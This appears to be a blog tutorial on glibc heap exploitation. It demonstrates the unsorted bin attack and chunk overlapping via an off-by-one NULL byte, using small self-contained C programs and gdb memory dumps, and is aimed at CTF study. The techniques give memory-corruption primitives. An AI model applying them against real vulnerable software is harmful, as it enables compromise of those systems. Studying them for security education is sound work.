Advanced Heap Exploitation: Unsorted bin attack & Overlapping chunk

Bernkastel

Introduction

In this post, I will introduce the exploitation techniques on unsorted bin attack and overlapping chunk. I will use sample codes, which are similar to the sample code given in [1] to demonstrate unsorted bin attack. Furthermore, I will use the sample given in [2] to demonstrate how to create overlapping chunk via shrinking chunk size.

Unsorted bin attack

Similar to unlink, unsorted bin attack takes advantage of the following code on unsorted bin management to gain write-something-anywhere primitive. Since there is no security check in the code below, there will be more flexibility and more scenarios for unsorted bin attack.

bck = victim->bk;
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

We use the following code to demonstrate the basic operation of unsorted bin attack.

#include<stdio.h>
#include<stdlib.h>

int main()
{
	unsigned long stack_var = 0x41414141;
	printf("stack var: %p\n", &stack_var);
	unsigned long *p = malloc(0x90);
	malloc(0xa0);

	free(p);
	
	//set BK of freed chunk
	*(p+1) = (unsigned long)(&stack_var) - 0x10;

	//trigger unsorted bin attack
	malloc(0x90);
	return 0;
}

We dump the memory layout for a better understanding of unsorted bin attack.

//memory layout before unsorted bin attack
0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000602560
0x7ffff7dd3b60 <main_arena+96>:	0x0000000000000000	0x0000000000602410
0x7ffff7dd3b70 <main_arena+112>:	0x0000000000602410	0x00007ffff7dd3b68
(gdb) x/8gx 0x0000000000602410
0x602410:	0x0000000000000000	0x00000000000000a1
0x602420:	0x00007ffff7dd3b58	0x00007fffffffe150
0x602430:	0x0000000000000000	0x0000000000000000
0x602440:	0x0000000000000000	0x0000000000000000
(gdb) x/4gx 0x00007fffffffe150
0x7fffffffe150:	0x0000000000000000	0x00000000004005b3
0x7fffffffe160:	0x0000000041414141	0x0000000000602420

//memory layout after unsorted bin attack
0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000602560
0x7ffff7dd3b60 <main_arena+96>:	0x0000000000000000	0x0000000000602410
0x7ffff7dd3b70 <main_arena+112>:	0x00007fffffffe150	0x00007ffff7dd3b68

(gdb) x/4gx 0x00007fffffffe150
0x7fffffffe150:	0x00007fffffffe170	0x00000000004005d0
0x7fffffffe160:	0x00007ffff7dd3b58	0x0000000000602420

//Output:
stack var: 0x7fffffffe160

In the code above, we demonstrate how we corrupt one value in stack. Before unsorted bin attack, we corrupt the BK pointer of victim chunk and make crafted pointer point to &stack_var. After unsorted bin attack, we can observe that we have changed the value at &stack_vat from 0x41414141 to the address of unsorted bin (0x00007ffff7dd3b58).

Overlapping Chunk

In [2], the author has given two different methods to create overlapping chunk via shrinking or extending chunks. In this post, I will only discuss the first one on how to create overlapping chunks via off-by-one NULL byte vulnerability in exploitation. Since that’s the techniques used in Ghost in the Heap. We recommend interested readers to read [2] for more information on overlapping chunks.

With an off-by-one NULL byte vulnerability, the attacker can only change the LSB of size of next adjacent chunk. Therefore, we can use such vulnerability to corrupt the size of next free chunk to create overlapping chunks. We use the following sample code for demonstration.

#include<stdio.h>
#include<stdlib.h>

int main()
{
	unsigned long *p1 = malloc(0x30);
	unsigned long *p2 = malloc(0x160);
	unsigned long *p3 = malloc(0xf0);
	malloc(0x50);

	free(p2);

	//off-by-one null byte vulnerability
	unsigned char *pc = (unsigned char*)p1;
	*(pc + 0x38) = '\x00';

	//create a fake adjacent next chunk
	*(p2 + 31) = 0x80;
	*(p2 + 30) = 0x100;

	unsigned long *p4 = malloc(0x80);
	unsigned long *p5 = malloc(0x30);
	free(p4);


	//create a overlapping chunk in unsorted bin
	free(p3);
	return 0;
}

To view how chunks are manipulated in memory, we dump the memory layout in each step for explanation.

//overwrite the next adjacent chunk
//craft a fake chunk
0x602000:	0x0000000000000000	0x0000000000000041
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000100//overwrite 0x170 to 0x100
0x602050:	0x00007ffff7dd3b58	0x00007ffff7dd3b58
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000100	0x0000000000000080 //fake adjacent next chunk
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000000
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000170	0x0000000000000100

//allocate p4, p5 and free p4
0x602000:	0x0000000000000000	0x0000000000000041
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000091
0x602050:	0x0000000000602110	0x00007ffff7dd3b58//p4
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000090	0x0000000000000040
0x6020e0:	0x00007ffff7dd3b58	0x00007ffff7dd3b58//p5
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000031
0x602120:	0x00007ffff7dd3b58	0x0000000000602040
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000030	0x0000000000000080
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000000
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000170	0x0000000000000100//p3

//after freeing p3
0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000602310
0x7ffff7dd3b60 <main_arena+96>:	0x0000000000602110	0x0000000000602040
0x7ffff7dd3b70 <main_arena+112>:	0x0000000000602110	0x00007ffff7dd3b68

0x602000:	0x0000000000000000	0x0000000000000041
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000271
0x602050:	0x0000000000602110	0x00007ffff7dd3b58
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000090	0x0000000000000040
0x6020e0:	0x00007ffff7dd3b58	0x00007ffff7dd3b58
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000031
0x602120:	0x00007ffff7dd3b58	0x0000000000602040
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000030	0x0000000000000080
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000000
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000170	0x0000000000000100//original p3

In step 1, after freeing p2 we overwrite the size metadata of freed p2. At this point, we actually shrink the size of freed chunk to 0x100 and create a hole at 0x602150. One thing to note is that crafting fake chunk at line 18, 19 is necessary. Otherwise, it will result in abort message.

In step 2, our goal is to create a chunk (p5) in the middle of shrunk chunk. After that we can free p4 for further step.

In step 3, we free p3. After this, we have inserted two chunks in unsorted bin. One is chunk at 0x602040 of size 0x270, the second one is chunk at 0x602110 of size 0x30. In step 2, we have already allocated a chunk p5 at 0x6020e0. If the attacker tries to allocate a chunk of size 0x270, the newly allocated chunk will overlap with p5 for further exploitation.

Conclusion

In this post, we introduce two advanced exploitation techniques: Unsorted bin attack and overlapping chunks. The hard point of those techniques is the their broad flexibility to be combined with other exploitation techniques. Also their trigger condition is not very strict making them appear commonly in CTF challenges.

Reference

[1] https://github.com/shellphish/how2heap/blob/master/unsorted_bin_attack.c
[2] https://www.slideshare.net/AngelBoy1/advanced-heap-exploitaion

One thought on “Advanced Heap Exploitation: Unsorted bin attack & Overlapping chunk

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.